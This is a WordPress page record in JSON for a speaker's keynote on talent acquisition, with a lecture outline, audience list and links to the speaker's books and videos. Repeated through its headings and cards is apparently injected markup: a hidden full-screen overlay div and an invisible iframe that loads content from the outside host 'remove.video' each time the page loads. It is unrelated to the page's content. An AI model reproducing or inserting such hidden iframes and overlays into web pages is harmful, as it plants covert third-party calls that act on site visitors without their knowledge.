{"id":4574,"date":"2021-01-16T17:30:09","date_gmt":"2021-01-16T16:30:09","guid":{"rendered":"https:\/\/armintrost.de\/\/?page_id=4574"},"modified":"2025-03-23T13:26:33","modified_gmt":"2025-03-23T12:26:33","slug":"talent-acquisition","status":"publish","type":"page","link":"https:\/\/armintrost.de\/en\/speaker\/talent-acquisition\/","title":{"rendered":"KEYNOTE TALENT ACQUISITION"},"content":{"rendered":"<h1>Effective talent attraction and acquisition<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/h1>\n<p>\n    <a href=\"\/en\/speaker\/\"><\/a>\n<\/p>\n<div>\n<p>The shortage of skilled workers and employees has reached dramatic levels. Consequently, the competition for qualified personnel in the job market is intense. Although employers cannot change the job market, there are numerous ways and approaches to remain competitive.<\/p>\n<p>This lecture addresses several key action areas that employers should take seriously:<\/p>\n<ul>\n<li>How to position and present oneself as an employer on channels relevant to the target groups?<\/li>\n<li>How to use existing employee networks to actively find and approach future employees?<\/li>\n<li>How to maintain long-term contact with promising candidates?<\/li>\n<li>How to provide an attractive candidate experience?<\/li>\n<li>How to put the target group at the center of thinking and actions?<\/li>\n<li>How to differentiate various needs and develop a compelling talent acquisition strategy accordingly?<\/li>\n<\/ul>\n<p>This lecture offers numerous solutions through illustrative examples. Every attendee will leave the lecture inspired with at least one or more practical ideas.<\/p>\n<\/div>\n<h1>WHO FEELS ADDRESSED?<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/h1>\n<div>\n<p>CEOs, executives, board members, CHROs, HR directors, HR professionals and consultants<\/p>\n<\/div>\n<div>\n<p>I would like to better understand what you have in mind and what you are specifically looking for.<\/p>\n<\/div>\n<p>\n    <a href=\"\/en\/contact\/\">Start request<\/a>\n<\/p>\n<ul>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/TA-Strategy.png\" alt=\"\"><\/p>\n<h3>Talent Acquisition Strategie<\/h3>\n<div>\n<p>Here, I explain in 7 minutes how to develop a talent acquisition strategy. Everyone working in this field should truly know this approach.<\/p>\n<\/div>\n<p><a href=\"https:\/\/youtu.be\/yVt_Y6Dmdnk?si=1O7Po4J0aQF-xx1s\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/GritPic06.png\" alt=\"\"><\/p>\n<h3>Human Resources Strategies<\/h3>\n<div>\n<p>In my book <strong>Human Resources Strategies<\/strong> I&#8217;ve dedicated multiple chapters to the key topic of talent acquisition. It is based on my experiences from two decades in this field.<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"\/professor-overview\/books\/book-human-resources-strategies\/?lang=en\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/GritPic24.png\" alt=\"\"><\/p>\n<h3>Active recruiting is super intense<\/h3>\n<div>\n<p>The active search and approach of passive candidates can be highly effective if done correctly. However, this method should only be used in select cases<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"\/en\/blog-active-sourcing\/\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/GritPic07.png\" alt=\"\"><\/p>\n<h3>Talent Relationship Management<\/h3>\n<div>\n<p>A couple of years ago I&#8217;ve published a well recognized and comprehensive book about everything you need to know in the field of Talent Acquisition<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"\/en\/professor\/books\/book-talent-relationship-management\/\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/HRS09.png\" alt=\"\"><\/p>\n<h3>Employer Branding<\/h3>\n<div>\n<p>In my podcast and YouTube series <strong>Human Resources Strategies<\/strong>, I also cover topics such as employer branding.<\/p>\n<\/div>\n<p><a href=\"https:\/\/youtu.be\/_2dZHgG_DVg?si=swycf3iV-ahS_KGY\">More<\/a><\/p>\n<\/li>\n<\/ul>\n<p><!--more--><br \/>\n<!-- {\"type\":\"layout\",\"children\":[{\"type\":\"section\",\"props\":{\"image_position\":\"center-center\",\"style\":\"default\",\"title_breakpoint\":\"xl\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"vertical_align\":\"\",\"width\":\"\"},\"children\":[{\"type\":\"row\",\"props\":{\"layout\":\"3-4,1-4\",\"margin\":\"large\",\"row_gap\":\"large\",\"width\":\"default\"},\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"3-4\"},\"children\":[{\"type\":\"headline\",\"props\":{\"content\":\"Effective talent attraction and acquisition<br \\\/>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; 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Consequently, the competition for qualified personnel in the job market is intense. Although employers cannot change the job market, there are numerous ways and approaches to remain competitive. This lecture addresses several key action areas that employers should take [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"parent":4557,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-4574","page","type-page","status-publish","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ARMIN TROST | SPEAKER | TALENT ACQUISITION<\/title>\n<meta name=\"description\" content=\"Talent acquisition is a craft that can be mastered. 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